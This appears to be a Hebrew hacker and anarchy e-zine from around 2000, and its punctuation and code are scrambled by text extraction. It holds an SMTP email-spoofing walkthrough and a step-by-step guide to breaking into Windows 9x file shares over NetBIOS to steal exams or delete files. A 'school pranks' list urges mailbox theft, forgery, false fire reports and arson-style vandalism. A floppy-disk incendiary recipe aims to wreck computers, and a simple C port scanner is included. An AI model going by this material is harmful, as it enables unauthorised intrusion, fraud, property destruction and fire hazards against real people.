תגובת שרת הדואר וכל מיני שטויות כאלה...
40
אבל תחפשו את האופציה באפשרויות ( )Settingsשל תוכנת הדואר שלכם .כנ"ל גם לאלה
שהאימייל שלהם
הוא .web based emailכלומר שהאימייל שלהם הוא ב Newmailאו Hotmailוכו' .עכשיו,
אחרי ששיניתם
את ההגדרות של תוכנת הדואר שלכם להראות את ה Headersשל כל אימייל ,עיברו לקריאת
האימייל שנראה לכם
חשוד ,והתבוננו ב .Headersאם זו הפעם הראשונה שאתם עושים זאת ,סביר להניח שזה ייראה
לכם כמו סתאם
שטויות באנגלית .אבל זה בעצם אינפורמציה יעילה שיכולה לעזור לכם.
ובכן ,בכל תוכנת דואר הראשים ( )Headersייראו קצת שונה ,ולכן אני אתן פה כמה טיפים לגילוי
זיוף
אימייל שיעבדו גם בתוכנות שבהם מאוד קשה לגלות אם זה מזויף או לא .ובכן ,דבר ראשון,
באימייל אמיתי,
יהיו בד"כ יותר הסברים והגדרות כי זה נשלח ע"י תוכנת דואר .לכן הראשים יהיו בד"כ ארוכים.
באימייל מזויף לעומת זאת ,שנעשה בד"כ ידנית ,לא יהיה הרבה פרטים בראשים ,והם יהיה הרבה
יותר קצרים.
עכשיו בואו תראו משהו אחר .נשווה פה בין 2אימיילים מזויפים ששלחתי לעצמי .אחד ל
altavista.com
ואחד ל .hotmail.com
בואו נראה קודם את האחד ב :hotmail.com
From: admin@nba.com
Subject: Congradulations
)Received: from unknown )HELO nba.com( )212.179.186.110
by smtp.altavista.com )209.228.13.94( with SMTP; 9 Dec 2000 16:46:20 -0800
41
או שסתאם רוצה להעמיק את הידע באימייל .קריאת ה RFCתיתן לכם הרבה יותר הבנה של
הנושא.
מקווה ש 3העמודים הארוכים והמשעממים האלה על אימייל עזרו לכם במשהו,
GeHeNoM
42
מדריך זיוף Emailמקוצר
[ :::::הערה -אל תגידו שאתם לא מבינים ותפסיקו לקרוא .תקראו עד הסוף ותבינו!!! ]:::::
[ ::למי שעוד לא הבין מה אני רוצה ממנו ,תקראו עד הסוף סוף סוף .כי בהתחלה הכל לא מובן,
]::
[ ::ואם קוראים עד הסוף אז הכל כן מובן .יפה .אז עכשיו תקראו מההתחלה עד הסוף .בלי
להפסיק באמצע]:: .
שוב ,תקראו עד הסוף .גם אם אתם חושבים שלא מבינים כלום .תקראו עד הסוף .סוף .סוף.
סוף.
HELO
Mail From: hacker@Hackers.com
Rcpt To: victim@Victim.com
Data
Subject: Fake Email
Date: Mon 23 October
= Fake Emailכתבו כאן את הנושא של האימייל .או הכותרת אם אתם רוצים( .אותו דבר)
ודרך אגב ,גם את הנושא (או הכותרת לאלה מכם שרוצים) אפשר לכתוב בעברית.
רק הערה אחרונה ,ואחרונה באמת :איך מתחברים לשרת הדואר לפורט ??25
ככה:
* לחצו על התחל
* לחצו על הפעלה...
43
* הקלידוtelnet server 25 :
GeHeNoM
44
דברים כייפים לעשות בבית ספר 2 -
לאור הפופלריות של החלק הראשון ,צוות האתר החליט לכתוב עוד כתבה בנושא
'איך ליהנות במקום המחורבן הנקרא בית ספר' .אנחנו בטוחים שתיהנו ,ומקווים שתבינו
מה באמת טוב בשבילכם ומי אתם באמת ,ושלא תיתנו לבני זונות להשתלט לכם על המוח.
טוב ,חאלס עם ההקדמה ,הנה כל הרעיונות שקפצו לנו לראש:
* כשהמסדרונות מלאים ,קחו כמה חברים ,ותטענו שאתם מחפשים את העדשות מגע שלכם,
ושחשוב מאוד שאף אחד לא יזוז ,כי מישהו יכול בטעות לדרוך על זה...
* מירחו שפתון ,דבק ,בוץ ,או קקי על הידית של הדלת של החדר מורים ושל חדר המנהל.
* כייסו מבית מרקחת תרופות נגד הקשת נחש .לכו ליד חדר המנהל ,תבלעו כדור או שניים,
ותיכנסו פנימה.
התרופה תגרום לכם להקיא .תשתדלו להקיא על הכיסא ,השטיח ,ספרים ,וכל מה שנמצא שם.
* פרצו את תיבות הדואר של המורים שלכם .צלמו עותקים של כל דבר מעניין וחלקו לחברים.
תרגישו חופשי
להשתמש בצ'קים ,כסף מזומן שלפעמים תמצאו ,והכי מגניב ,אם יהיה לכם מזל ,זה מספר
כרטיס האשראי.
* בשבת לכו לבית ספר ותהרסו כל מה שאתם רואים .מומלץ להצטייד בפטיש ,בנזין ,מצית,
סכין ,והרבה הרבה הרבה אבל באמת שהרבה מצב רוח טוב.
* השיגו כמה שיותר דברים חתומים עם חתימת המורה שלכם (הודעות ,מבחנים ,אישורים ,וכו'),
ושבו עם הכל כמה שעות ותתחילו לנסות לתרגל את שיטת החתימה שלו.
כשתגיעו לרמת זיוף איכותית ,תמצאו את החתימה שלו כמשהו שימושי מאוד.
* תהיו נחמדים למורים שלכם ,והזמינו בשבילם פיצה לבית .עשו זאת בשמם ועל חשבונם כמובן.
אל תישכחו להזמין מנה משפחתית גדולה עם כל התוספות ,ואני חושב שהם גם יירצו לשתות
הרבה.
ואל תשכחו גלידה ,כי אולי הם גם יירצו גם קצת גלידה אחר כך...
* אחרי שהם צעקו שעות על איש המשלוח ,ונאלצו לשלם ולהיתקע עם הפיצה,
אני בטוח שהם ישמחו לקבל ביקור ממכבי האש שיבואו להציל אותם מ"שריפה במטבח"
או כל שריפה אחרת שתירצו לספר עליה למכבי האש דרך הטלפון...
45
* מורים רבים נוטים להשאיר את היומן שלהם במצבים ומקומות לא מוגנים .נצלו זאת בחוכמה.
* תתלשו את הסמלים מהמכוניות של המורים שלכם .כל סמל עולה בשוק כמאה ,מאה חמישים
שקל.
מכירו את הסמלים לאספנים או הוסיפו אותם לאוסף משלכם.
* לכו לשירותים והכניסו כל מיני חפצים כמו כדור טניס ,מכונית צעצוע ,בובת פוקימן ,בלון
מנופח,
וכו' לתוך האסלה ולאחר מכן הורידו את המים .עשו זאת שוב ושוב ושוב עד שכבר אי אפשר
להוריד את המים.
* הניחו שעונים מעוררים בכל מיני מקומות מוסתרים בבית הספר .אל תשכחו להפעיל אותם
קודם.
* התקשרו מהפלאפון לבית הספר ותעמידו פנים שאתם האבא של איזה ילד בבית הספר,
ושיישלחו אותו _עכשיו_ הביתה ושהוא צריך לחזור מהר כי סבתא נפטרה או כי יש מסיבה
משפחתית לדוד מוטי
או כל דבר אחר שתחליטו להפליץ .תחשבו על סיבות משלכם .מקסימום אפשר להגיד שזה בגלל
אירוע משפחתי
או שזה משהו אישי וכו'.
* פחחחחחחחחחחחחחחחחחחחחחחח.....
חשבתם שיש עוד???? צדקתם .נו ,תעברו ל'*' הבאה.
* לכו לקומה שנייה או שלישית בבית הספר ,כאשר כמה שיותר גבוה יותר טוב.
כעת שחקו את משחק היריקות ע"פ החוקים הבאים:
* קחו כמה שקיות ניילון שקופות ומלאו אותם בקמח .כעת החביאו אותם בכל מיני מקומות
שיפחידו
את מי שיימצא אותם .מקומות מומלצים הם באמצע איזה ספר ,מתחת לספר ,בתוך קלמר ,בתוך
תיק ,בתוך ארנק
46
או כל מקום אחר של הילדים שהם המטרה שלכם .מומלץ שגם תשימו קצת מלח פה ושם למקרה
שהם ינסו להסניף
את החומר ואז תשמעו הרבה אאאאאההההההה פצ'ווווווווו ו אאאאאייייייייייייייככככססס....
* ולסיום ,משהו שכולם מכירים אבל קצת נשכח בשנתיים שלוש האחרונות.
קחו עת ,או טוש (לורד) ,ופרקו את שני הקצוות שלו כך שיישאר לכם מעין קשית פלסטיק.
כעת גלגלו כדור קטן של פלסטלינה ושימו אותו בקצה אחד .עכשיו תנשפו חזק בקצה השני
והפלסטלינה תעוף.
שחקו עם זה קצת עד שתלמדו להעיף ולכוון טוב .אם אין פלסטלינה תמיד אפשר להשתמש בנייר.
מומלץ להרטיב אותו לפני שיורים וככה הוא עף יותר טוב.
למי שלא מכיר ,לכלי הנשק המפגר אך המהנה הזה קוראים טפו טפו.
47
אייקונים בביג טוק
בזמן האחרון ,שמעתי מהרבה אנשים ,הרבה תלונות ,על כך שהם לא יכולים להשתמש בשירות
האייקונים של אורנג' מהסיבה הפשוטה שיש להם ביג טוק .ובכן ,לכל הביג טוקים עם ה 5110
שלהם ,שרוצים לשים אייקון בפלאפון וחשבו שהם לא יכולים ,אז טעיתם .כי ממעמקי הצד האפל
של הגיהינום ,אני בא אליכם ,עם 100%רוע טהור ,אני הוא גיהינום ,שיראה לכם איך לרמות על
הבני זונות.
ובכן ,השיטה פשוטה וקלה ביותר ,ואני מתקשה להבין איך אתם הקוראים החכמים שלי לא
חשבתם על זה לבד.
אז ככה ,טכנית ,הדגם שלכם מסוגל להשתמש באייקונים .אבל מה ,אורנג' משום מה החליטה
שמי שיש לו ביג טוק ,לא יכול .למה? לא יודע.
עכשיו אורנג' לא תזהה שיש לכם ביג טוק ,כי מבחינה טכנית כרגע אין לכם,
לכן שילחו לעצמכם איזה אייקון שבא לכם.
אחרי שהוספתם לכם אייקון פצצה ,החליפו בחזרה את כרטיס ה ,simונחשו מה? האייקון
יישאר.
למה? כי הוא נשמר על המכשיר ולא על הכרטיס .מקווה מאוווד שתהנווו,
GeHeNoM
48
פריצה למחשבים
כן ,זה נכון ,אני עומד להסביר לכם צעד אחר צעד ובעברית,
איך מהמחשב האישי שלכם בבית ,תוכלו לפרוץ למחשבים אחרים.
ובכן ,סביר להניח שבבית הספר שלכם לדוגמא ,ישנה רשת מחשבים מחורבנת
של המון מחשבים עם ווינדוס 95/98שכולם מחוברים עם איזה חיבור
מהיר (פחות או יותר) דרך שרת NTוכי לכל המחשבים האלה ישנה רק מדפסת אחת
או שניים ,אך כל המחשבים יכולים להדפיס במדפסת ,ויש גם כמה ספריות ,על מחשב
השרת ,שלכל המחשבים יש גישה אליהם .זה לא כך בכל בית ספר או בכל משרד
או בכל מוסד חינוכי ,או בכל רשת מחשבים עם ווינדוס ,אבל זה כך במקרים רבים.
חדרתי להמון בתי ספר שרשת המחשבים שלהם הייתה בנויה בצורה כזו.
טוב ,אז אתם בטח כבר מתים להתחיל ,אבל איזה תוכנה אתם צריכים להוריד? כלום.
הכל בא יחד עם הווינדוס .במקרה שהווינדוס שלכם צרוב ,ישנם סיכויים
שתיאלצו להשיג לכם עותק מקורי של דיסק ההתקנה של ווינדוס .95/98
אבל כנראה תסתדרו גם בלי זה.
לוח הבקרה מלא בשטויות .תחפשו קובץ בשם 'רשת' עם סמל של מחשבים שמחוברים למדפסת.
לחצו על ה'רשת' פעמיים עם העכבר .ייפתח לכם חלון חדש .אתם תראו כי רכיבי רשת
כגון TCP/IPו Dial-Up Adapterמותקנים אצלכם במחשב.
בכדי שתוכלו להשתמש בפרוטוקול ה SMBאתם צריכים ש 3רכיבי הרשת הבאים
יהיו מותקנים לכם במחשב:
* TCP/IP
* NetBEUI
* Client for Microsoft Networks
אם אחד מרכיבים אלה לא נמצא ברשימת הרכיבים ,אתם צריכים להוסיף אותו.
בלי כל ארבעת רכיבים אלה ,אינכם יכולים להתחבר לשיתופים על מחשבים אחרים
מה שלא נותן לכם גישה לקבצים שלהם .חרא .אז אני אתן פה הוראות להתקנת כל רכיב.
דרך אגב ,אם יש לכם עוד רכיבים מותקנים ,שלא ציינתי פה ,זה בסדר גמור ואין עם
זה שום בעיה .טוב ,אז כדי להתקין את מה שאולי חסר לכם...
TCP/IP
אם חסר לכם רכיב זה ,לחצו על הכפתור 'הוספה'...
בחרו ב פרוטוקול >-מיקרוסופט .TCP/IP >-יפה .ט-עים מ-אוד.
NetBEUI
49
אם חסר לכם רכיב זה ,לחצו על הכפתור 'הוספה'...
בחרו ב פרוטוקול >-מיקרוסופט .NetBEUI >-יפה .ח-מים .מ-אוד.
טוב ,אז עכשיו שיש לכם את שלושת הרכיבים אתם כמעט ומוכנים לפריצה הראשונה שלכם.
מתחת ל "כניסה ראשית לרשת ":בחרו באפשרות .Client for Microsoft Networks
כעת לחצו על כפתור ה OKאו פשוט הקישו על מקש ה .Enterאתם תתבקשו להפעיל את
המחשב מחדש .עשו זאת .אם לא נפתח חלון שביקש ממכם לעשות זאת ,עשו זאת בכל מקרה.
טוב ,נכנסתם לווינדוס מחדש ,ואתם רוצים כבר להשיג סיסמאות ,כרטיסי אשראי,
משחקים ,תוכנות ,מכתבים אישיים ,לשנות ציונים ,למחוק לאחרים קבצים,
אז איך לעזאזל פורצים???
אם אני לא טועה זאת אחת השאלות הנפוצות ביותר כיום בעולם הצ'אטים.
טוב ,אז תמציאו כתובת איי פי של מחשב שאליו אתם מתכוונים לחדור.
תבדקו שאתם מחוברים לאינטרנט ,פתחו חלון דוס ,והקלידו:
nbtstat -A ipaddress
לדוגמא:
nbtstat -A 127.0.0.1
זה אומר שלא תוכלו לחדור למחשב זה .אז אתם שואלים איך לעזאזל אתם
אמורים למצוא מחשבים עם שיתופים שאליהם כן תוכלו לחדור???
ובכן ,חשוב שתבינו פה שאין שיטה או קוד אחד שאייתו אפשר לחדור לכל מחשב בעולם.
זאת דוגמא טובה לדרך מסוימת לניצול חור אבטחה מסוים במערכת מסוימת.
מה שנותן לכם לחדור למחשבים מסוימים.
ובכן ,יש לכם 2אפשרויות:
אז כשיש בידיכם כתובת איי פי של מחשב עם שיתופים ,חיזרו לדוס ,והקלידו:
nbtstat -A ipaddress
כאשר במקום ipaddressאת מספר האיי פי .אתם תקבלו טבלה שנראית בערך ככה:
50
NetBIOS Remote Machine Name Table
פיתחו את הקובץ:
C:\windows\lmhosts.sam
קראו אותו עם עורך טקסט 3 ,2פעמים .אם לא הבנתם משם כלום ,לא נורא.
כעת לחצו על התחל >-הפעלה ...והקלידו שם .notepadלחצו על מקש ה .Enter
זה ייפתח לכם את העורך החביב שלנו .תדאגו שאתם מקלידים משמאל לימין של הקובץ.
הקלידו שם את האיי פי של המחשב שבו מצאתם שיתופים .לדוגמא:
127.0.0.1
כעת שימרו את הקובץ בשם הבא:
C:\windows\lmhosts
פשוט כך.
אם יש לכם יותר מכתובת איי פי אחת שברצונכם לפרוץ אליה,
אז תפרידו בין כתובת לכתובת בעזרת הורדת השורה (עם מקש ה )Enter
הקובץ שלכם אמור להיראות כך:
127.0.0.1
112.179.15.9
37.105.1.17
51
ש :כאשר אני מנסה למחוק לבני זונות קבצים ,זה לא מאשר את המחיקה.
ת :ישנם מחשבים שביטלו את האפשרות של הכתיבה בשיתופים ,ולכן יהיה לכם רק
גישת קריאה מה שאומר שיש לכם גישה לכל הקבצים ותוכלו להעתיק דברים מעניינים
למחשב שלכם האישי ,אבל לא תוכלו להעתיק קבצים ממכם אליהם או למחוק להם דברים,
או לגרום לכל שינוי במחשב שלהם .גישה כזאת של קריאה בלבד עדיין יכולה להיות
יעילה ביותר .היא לא תיתן לכם לשנות למישהו בבית ספר את הציון בתעודה ,אבל תוכלו
להשיג עותק של המבחן הבא ולחלק אותו לכולם ככה שיהיו מוכנים עם התשובות מראש.
ת :במקרים מעטים המחשבים שאליהם ברצונכם לפרוץ יהיו מוגנים עם סיסמא,
במקרה כזה יש לכם ארבעה אפשרויות:
* לנחש את הסיסמא
* להשתמש בתוכנה שתנסה כל אפשרות בעולם עד שזה יימצא את הסיסמא (לוקח שעות).
אני ממליץ לנסות את האפשרות הראשונה ,אם לא הולך לכם אז תעברו לאחרונה.
אבל תעשו מה שבא לכם ,ואיך שבא לכם ,כי אחרי הכל ,זאת הפריצה שלכם.
ת :אם תראו שעל המחשב נמצאת מדפסת שגם היא משותפת ,לחצו עליה פעמיים.
אתם תתבקשו להתקין את הדרייברים על המחשב שלכם .אחרי שפעולה זאת הסתיימה,
סמנו את הקובץ שברצונכם להדפיס (לא חשוב אם הוא נמצא על המחשב שלכם או שלהם)
לחצו על ,Ctrl + Cכעת סמנו את המדפסת על המחשב הפרוץ ולחיצו על .Ctrl + V
ההדפסה תחל ותקפיץ את האנשים של המחשב הפרוץ ב -אאאההההההההההה!!!!!!!!!!!
ש :נגנבתי על הפריצה ,זה היה ממש מדליק ,אבל היא עובדת רק על מחשבים מסוימים
ואני רוצה לפרוץ לכל המחשבים בעולם .איך אני יכול לפרוץ לכל מחשב בלי להוריד
שום תוכנה סתאם ככה מהמחשב שלי עם ווינדוס וחיבור לאינטרנט?
52
תרגישו חופשי לפרוץ לאן שבא לכם ולהרוס כל מה שבא לכם ,הכל על חשבוני.
שלכם ,גיהינום
פצצת מנורה
53
אנרכיה
בזמן האחרון יש לנו הרבה מקרים של 'אנרכיסטים' שמבינים לא נכון את כל העניין של אנרכיה.
כתבתי אנרכיסטים במירכאות כי אלה לא אנרכיסטים .הם מייצגים את עצמם ואת עצמם בלבד.
ולכן רציתי לכתוב פה כתבה שתסביר מה זה כן האנרכיה .מה בעצם נותן לנו את הרשות
לונדליזם,
או לכל דרך אחרת שבה אנו האנרכיסטים מתבטאים .לתת לכם הילדים השמנים בבית ,שמשעמם
להם בחיים ורוצים קצת משהו מעניין ולכן קוראים את המילים האלה ,לראות הכל מזווית
הראיה הנכונה.
ובכן ,ניסיתי עוד פעם ועוד פעם ועוד פעם לנסח את האמת שעומדת מאחורי כל הרעיון של
האנרכיה.
או איך שאני רואה אותה לפחות .אבל לא משנה מה כתבתי ואיך כתבתי זה לא יצא כמו שרציתי
ולא הציג
את הדברים כמו שרציתי שזה יציג אותם .לכן כל מה שאני יכול להגיד לכם זה לראות את הסרט
.Antz
אם כי הסרט לא ממש מדבר על אנרכיה ,והנמלה בסופו של דבר מחליטה שהדרך הטובה ביותר
היא שלטון,
וחיים בתוך מערכת ,אלא שהפעם היא חלק מהמערכת מתוך רצון ,כאשר לכל אחד יש השפעה
חזקה וטובה יותר,
וכולם (כך נראה לפחות) מרוצים מהשלטון החדש ,והפעם הכל בנוי כמו שהנמלה רצתה ,הסרט
עדיין מציג
בצורה כלשהי קצת את הרעיון של אנרכיה .זה לא מציג את זה כמו שהייתי רוצה להציג את זה,
אבל זה עדיף מכל הניסיונות שלי להסביר את ראיית העולם שלי כאנרכיסט.
תיהנו מהסרט.
שלכםGeHeNoM ,
54
פצצת דיסקט
חומרים:
· דיסקט
· מספריים
· גפרורי מטבח לבנים או כחולים (חייבים להיות בצבע הזה!!)
· לכה שקופה לציפורניים
.1פתחו בעדינות את הדיסקט (כאלה של 3אניץ' ומעלה הכי טובים למטרה זאת).
.2הסירו את עטיפת הכותנה מבפנים.
.3גרדו הרבה אבקה מהגפרורים לתוך צלחת (השתמשו במגרדת מעץ ,מתכת תצית את הגפרורים
ביחד איתכם )..
.4אחרי שיש לכם הרבה אבקה ,פזרו אותה בנדיבות בתוך הדיסקט.
.5שפכו את הלכה מעל האבקה שפיזרתם.
.6תנו לעסק להתייבש…
.7בזהירות חברו בחזרה את הדיסק והיעזרו בלכה לסגור אותו מבפנים (איפה שפתחתם).
.8תנו את הדיסקט למישהו שאתם מאוד אוהבים…
מה שיקרה הוא שכשהכונן ינסה לקרוא את הדיסקט תהיה שרפה קטנה (מספיק חום כדי להימס
את כונן הדיסקטים ולדפוק את ראש הקריאה של הכונן!) .צפו בהנאה כשהטכנאים לא מבינים
מה עבר על המחשב…
במדריכי האנרכיה הבאים :איך להפנט בנאדם בעשר דקות ,איך לשגע את רשת מקדולנדס,
והשיטות הטובות ביותר לגידול מריחואנה בחצר .סתאם ,לא .תהיו ילדים טובים כמוני .איכסה
אנרכיה.
אוהבת תמיד,
בלאדי.
55
Port Scaning
אהללללללןןןןן
מה המצבבבבבבב?
אז ככה -פעם אחת ניסיתי למצוא אינפו על משהו .רציתי להריץ פורט סקאנינג .בדרך כלל אני
אוהבת לנסות להיכנס לפורטים הידועים ידנית (דרך טלנט) ,אבל במקרה ההוא אחרי שעשיתי את
הבדיקה הידנית לפורטים הידועים רציתי להריץ סקנינג כולל ,לדעת אם יש איזה פורט פתוח
אחר .אז העליתי את הקומפיילר שלי ,וכתבתי משהו מהיר שיעשה בשבילי את העבודה.
אז ...גיהינום ביקש שאני אפרסם את הקוד פה (זה בשפת )Cאז הנה פרסמתי .זה היה לפני שהוא
עזב את האתר ולא יודעת למה הוא לא פרסם את זה עד עכשיו .בכל מקרה ,אל תשתמשו בזה
כפורט סקנר כי הוא א-י-ט-י בטירוף (אחרי חצי שעה הוא בקושי הספיק לסרוק פחות מ50-
פורטים) אבל זה תרגול טוב לסוקטים ולתכנות ברמות הנמוכות שדיסקסתי במדריכים הקודמים
ושוב ,זה משהו שכתבתי ב 5-דקות לצורך מסויים .אז נכון שיש הרבה דברים שיכולתי לעשות כדי
להאיץ קצת את הפעולה (לפתוח כמה סוקטים במקביל ,להוציא הוראות מהלולאה) או לשפר
אותה קצת (לאפשר גם להתחבר ב dnsולא רק בכתובת ipאבל זה תמיד מסתבך לי משום מה)
אבל לא היה לי כוח.
בעיקרון התוכנה הקטנה הזאת מבקשת את האייפי שאתם רוצים להתחבר אליו (השיגו אותו
בעזרת )netstat -aומנסה להתחבר לפורטים 1-1024על אותו אייפי .שימו לב להוראה for
)++)port=1;port<1024;port
שבודקת את הפורטים .1-1024אם בא לכם לבדוק מספרים אחרים ,פשוט שנו את המספרים.
(אפשר גם לדוגמה להריץ פעמיים את התוכנה כאשר אחת סורקת 1-50ואחת סורקת 1-100
וכדומה) .התוכנה שולחת בקשה לפתיחת סוקט בפורטים .1-1024אם הבקשה נענית בחיוב (יש
האזנה על השרת לאותו פורט) התוכנה רושמת את מספר הפורט על המסך.
כמו שאמרתי ,זה מ-א-ו-ד א-י-ט-י (אבל מאוד!) אז אל תיבהלו אם אחרי עשר דקות אתם עדיין
לא רואים כלום על המסך.
בקשר לקומפיילרים ,כמובן שאין אין אין כמו gccאבל אם אתם כמוני שתקועים על ווינדוס ,יש
תחליף של lccשזה קומפיילר הבנוי בצורת .gccקומפיילר מצוין ,אבל יש לו את הקריזות שלו,
ולכל תוכנית צריך לפתוח פרוייקט חדש בכל פעם ,ועד שמצליחים ליצור קובץ חדש יוצאת
הנשמה.
>include <stdio.h#
>include <winsock.h#
>include <winsock32.h#
>include <windows.h#
)void winsock_init)void
{
;WSADATA info
)if )WSAStartup)MAKEWORD)1,1(, &info( != 0
MessageBox)NULL, "Cannot initialize WinSock!", "WSAStartup",
;)MB_OK
}
56
)][int main)int argc,char *argv
{
/* ...winsock_init)(; /* the windows intialization stuff
;int sockfd
;int port
;struct sockaddr_in dest_addr
;(" ?printf("\nDestination IP
;(gets(IP
)++for )port=1;port<1024;port
{
;)sockfd = socket)AF_INET,SOCK_STREAM,0
;dest_addr.sin_family = AF_INET
;)dest_addr.sin_port = htons)port
;)dest_addr.sin_addr.s_addr = inet_addr)IP
if )connect)sockfd, )struct sockaddr *(&dest_addr, sizeof)struct
)sockaddr(( >= 0
{
;)printf)"\n%d", port
/* if connected successfully, return port num */
}
;)".printf)"Connection closed
/* return 0; /* Return a success value
}
,Have fun
,אוהבת
.Bloody
57
טיפול "משמעתי" בקרציות
כל אחד מכיר איזה ילד דפוק ומעצבן שמתקרצץ ומנסה לפרוץ לכם למחשב ,לא?
או סתם איזה מפגר שמעצבן אתכם.
פשוט.
תדברו אייתו באי סי קיו או באי אר סי.
*** הערה מבלאד ראנר :לא צריך תוכנה ההופכת הוסט לאייפי ,פשוט הקלידו netstat -anכדי
לקבל את הכתובת בצורה נומרית (יענתו בצורת אייפי) ***
עכשיו.
הסתכלו על השעון בתחתית המסך.
לפי ההוסט ( או האי פי אם אתה טיפה אינטליגנטים) מיצאו את חברת האינטרנט של משתמש
זה.
עכשיו ,גילשו לאתר של חברת האינטרנט הזאת ,ורישמו את מספר הטלפון שלה.
" מדבר ....הרגע מישהו ניסה לפרוץ לי למחשב .....והאי פי שלו הוא.....הוא ניסה לפרוץ בשעה...
ותשמעו אמינים לא סתם ילדים קטנים שעושים שטויות.
עכשיו ,תקראו טוב את מה שאני רושם עכשיו:
חברת האינטרנט מחויבת לתת לכם את הטלפון של אותו משתמש!!!!!!!!!!!!
עכשיו...
תתקשרו לאותו בן אדם...ותגידו לו מה ניסית לפרוץ לי למחשב........
):
שין שן
IceFire3k
58
גפרורים שמישים מתחת למים
אתם צריכים:
-חבילה של 10דיודות סיליקון (תדעו שקיבלתם את הדבר הנכון אם אלה חפצים קטנים
מזכוכית)
-חבילת גפרורים
-נר
-הצמידו את החלק מהזכוכית של דיוקה אחת ולפפו את אחד הקצוות שלה מסביב לגפרור
והוציאו את הקצה החוצה
עשו אותו דבר עם הקצה השני אבל בכיוון מנוגד ,עכשיו שני הקצוות צריכים להיות מלופפים
מסביב לגפרור אבל לא נוגעים אחד בשני!!!!
-הכניסו את ראש הגפרור לתוך "בריכת" השעווה כך שיווצר כיסוי עמיד במים
-כשהדיודה מחוברת לבטריה של 6וולט ,היא מגיעה למה שנקרא מתח שבירה
כשרוב הרכיבים האלקטרוניים מגיעים לנקודה זו ,הם מפיקים כמות גדולה של חום ואור(שנמס
מהר מאוד לכתם קטן)
החום הזה מספיק כדי להצית את הגפרורים שיעבדו מתחת למים( .כשרוב הגפרורים מסרבים
להידלק ):
IceFire3k
59
שרתי פרוקסי
שרת פרוקסי הוא בעצם שרת אשר דרכו אתם מתחברים לאתר אשר אליו אתם מתחברים.
כלווווווווווווווווווווומממממממממממרררר....
כשאתם נכנסים לאתר מה שקורה זה שדרך ספק האינטרנט שלכם אתם מתחברים לשרת שעליו
מאוחסן האתר,
והוא נותן לדפדפן שלכם את הקוד של האתר שפעם היה בנוי מ HTMLומה לעשות שהיום זה לא
תמיד ככה.
היום הוא יכול להיות אומנם מורכב מ ,HTMLאבל זה רק יהיה בין השאר...
כי יש לנו את Flashשל מקרומדיה ואל תשכחו את כל ה Script Languages
ויש גם cgiו aspוכו' .טוב ,בכל מקרה ,הדפדפן מקבל את
האתר בפורמט Htmlואח"כ מתרגם את זה למה שאתם רואים על המסך.
זה פחות-או-יותר מה שקורה.
יותר פחות מאשר יותר.
או מצד שני פחות יותר מאשר פחות.
או בעצם ..לא חשוב.
מה ששונה בשימוש בשרת פרוקסי הוא שבמקום להתחבר "ישירות" אל האתר ,אתם עושים זאת
דרך
שרת הפרוקסי .מה שגורם לשני דברים עיקריים:
.1התחברות מהירה יותר /איטית יותר (תלוי)
.2אנונימיות.
60
ואיטיים יותר ובכך יאט את כל התהליך .בשביל להבין את זה דמיינו שבמקום ללכת ישר לבית
של אלי
אתם צריכים עכשיו לעשות את כל הסיבוב כי קודם אתם צריכים לעבור דרך הבית של מיכל
שהיא בעצם
שרת הפרוקסי ובגללה הכל נהיה יותר ארוך ואיטי .כוס אימא של מיכל ,תראו מה היא עושה.
אסור לעבור דרך הבית שלה .מיכל ,תסתכלי למה את גורמת.
עכשיו ,אחרי שקראתם את כל הזיבולים שלי על שרתי הפרוקסי ,אתם בטח מתים להתחבר כבר
לאחד.
את האמת ,אתם בטח מתים משעמום ,וכבר לא בא לכם לקרוא את זה אבל מה עוד כבר יש לכם
לעשות עכשיו?
http://proxys4all.cgi.net/public.shtml
61
http://tools.rosinstrument.com/cgi-bin/fp.pl/showlines?lines=200&sortor=3
וזהו .אני יודע שיצא קצת חרא של כתבה אבל כתב אותה חרא של בנאדם (אם בכלל אפשר לקרוא
לי בנאדם),
אז למה ציפיתם?
שלכם ,של אימא שלי ,של אבא שלי ,של סבא שלי ,של סבתא שלי ,של אלוהים (שלא קיים),
של המדינה ,של השלטון ,של העולם ,של חברה שלי ,וחברים שלי ,וידידים שלי ,וידידות שלי,
של המחשב שלי ,ושל כל מה ששלי ,וכל מה שלא שלי,
GeHeNoM
62
התקשרויות מחשבים :חלק ראשון:
איך לבנות סרבר
טוב אז ככה:
הכתבה הזאת לא מיועדת למתחילים או לאנשים רעים כמוכם שמשתמשים בנטבאס או בסאב 7
או בדברים דפוקים כאלה כדי להרגיש שהם "האקרים מגניבים" .אז קודם כל ,רק שתדעו
ש"האקרים מגניבים" כמעט ולא קיימים בגלל שאנשים כמוכם משתמשים בתוכנות .בואו נהיה
יותר חכמים ובמקום להוריד אקספלוייט – נתכנת אותו.
אז למי המדריך הזה כן מיועד? קודם כל למי שלא הפסיק לקרוא פה ..אני לא הולכת עכשיו
ללמד אתכם שפת Cכי ככה ,אבל אם יש לכם ידע בשפה ,אפילו בסיסי ,זה יכול להיות הבסיס
לכתיבת אקספלוייטים בעתיד.
היי ,בבקשה אל תצפו ממני ליותר מדי כי מה שאני יודעת על הנושא כתבתי פה .אז ככה שאני עוד
לא יכולה ללמד אתכם איך לבנות אקספלוייט ,אבל ,גם זה יבוא…
יאללה לעניין:
זוכרים את מבנה 7השכבות של ?OSIהבסיס של ?TCP/IPאם כן ,אז מה שאנחנו הולכים לעשות
עכשיו זה low level programmingשזה תכנות בשלוש רמות הנמוכות יותר .איבדתם אותי? לא
נורא ,זה לא כזה חשוב כרגע.
אז איך בעצם מחשבים מתקשרים ביניהם? דרך .sockets
socketזה מן "שקע" שדרכו עוברת אינפורמציה .כל מה שאתם עושים באינטרנט ,גורם לפתיחת
התקשרויות .socketsנניח שאתם כותבים בשורת הפקודה בדוסtelnet 156.76.119.7 23 :
בעצם על האייפי המבוקש (במקרה הזה )156.76.119.7נמצאת מן תוכנה ( )daemonשמחכה
להתקשרות .ברגע שמישהו מבקש להתחבר לאותו פורט (במקרה הזה )23תפקיד התוכנה הוא
לאשר לו את ההתקשרות ולהגיב על פקודות שהוא נותן.
מחשב שנמצא במצב "האזנה" ( )listeningלהתקשרויות נכנסות ,נקרא "שרת" או .server
המחשב שלכם ,שבמקרה הזה שולח בקשה להתקשרות ופקודות לשרת נקרא "לקוח" או .client
כל ההתקשרות שביניהם ,מהרגע שהלקוח שולח בקשה להתחברות ,ועד שהלקוח או השרת סוגר
את ההתקשרות נעשית דרך...
): !!sockets
בואו נכנס קצת יותר לעומק .נניח שאני רוצה לבנות תוכנת שרת ,איזה פקודות אני אצטרך?
קודם כל פקודות אתחול של ה socketsשאני אכניס לתוכם הגדרות מסוימות ,שתלויות באופן
